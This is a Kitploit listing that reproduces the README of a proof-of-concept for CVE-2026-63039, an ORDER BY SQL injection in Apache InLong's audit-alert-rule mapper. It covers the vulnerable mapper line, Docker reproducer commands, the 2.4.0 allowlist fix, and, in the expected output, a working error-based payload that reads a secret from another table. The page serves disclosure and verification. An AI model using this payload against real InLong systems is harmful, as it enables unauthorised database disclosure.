Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-63039 — Proof-of-concept for CVE-2026-63039, demonstrating ORDER BY SQL injection in Apache InLong's AuditAlertRule via orderField/orderType, with a Docker-based reproducer and fix verification. | Kitploit
Tools/GitHubGitHub/oscerd/cve-2026-63039
Vulnerability AnalysisExploitationWeb Application ExploitationPapers & ResearchLearning & Education
GitHuboscerd/cve-2026-63039

CVE-2026-63039

Proof-of-concept for CVE-2026-63039, demonstrating ORDER BY SQL injection in Apache InLong's AuditAlertRule via orderField/orderType, with a Docker-based reproducer and fix verification.

View Repository
8h 31m agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-63039 — Apache InLong AuditAlertRule ORDER BY SQL injection

Runnable proof-of-concept reproducer for the SQL injection in Apache InLong's audit-alert-rule query.

The InLong manager mapper AuditAlertRuleEntityMapper.selectByCondition filters with safe MyBatis #{} parameters, but sorts with ${} string interpolation of two request fields:

root@kitploit:~
<!-- inlong-manager/manager-dao/src/main/resources/mappers/AuditAlertRuleEntityMapper.xml  (InLong 2.0.0–2.3.x) -->
order by ${request.orderField} ${request.orderType}

orderField and orderType come from the paged request (AuditAlertRulePageRequest), so they are attacker-controlled and are concatenated verbatim into the SQL — ORDER BY SQL injection (CWE-89). This PoC injects a MySQL error-based payload into orderField and reads a secret out of an unrelated table, demonstrating arbitrary data disclosure.

Run

root@kitploit:~
mvn -q -DskipTests package
docker compose up --build     # starts MySQL, seeds it, runs the one-shot PoC
docker compose down -v

Expected output on the vulnerable code path:

root@kitploit:~
[1] Benign request (orderField='id', orderType='ASC'): 3 rows
      AuditAlertRule{id=1, inlongGroupId=group_a, alertName=latency rule}
      ...
[2] Malicious request (orderField = error-based payload):
      orderField = extractvalue(1,concat(0x7e,(select secret_value from manager_secrets limit 1)))
      extracted from another table via the injected subquery: INLONG-SECRET-63039
>>> PROVEN: ... ORDER BY SQL injection (CWE-89): true

Vulnerability Summary

The fix

Apache InLong 2.4.0 validates orderField / orderType against an allowlist of known sortable columns and directions before they reach the mapper (an ORDER BY column name cannot be bound as a #{} parameter, so the sort inputs must be validated rather than parameterised).

The MyBatis mapper, entity and request pojo in this repository mirror the InLong originals so the injection sink (order by ${request.orderField} ${request.orderType}) is reproduced verbatim.

Disclaimer

This repository is published for educational and defensive purposes: to help Apache InLong users understand the vulnerability, verify whether they are affected, and confirm that upgrading resolves it. The payload only reads a demo secret from a local table. Do not use this material against systems you do not own or operate.

Download Tool
PropertyValue
ProjectApache InLong — manager (AuditAlertRuleService / AuditAlertRuleEntityMapper)
ClassCWE-89 Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
Attack vectorThe orderField / orderType fields of an audit-alert-rule page request
ImpactArbitrary SQL execution / data disclosure against the InLong manager database
Affected Versionsfrom 2.0.0 before 2.4.0
Fixed Version2.4.0
AdvisoryCVE-2026-63039
CreditAndrea Cosentino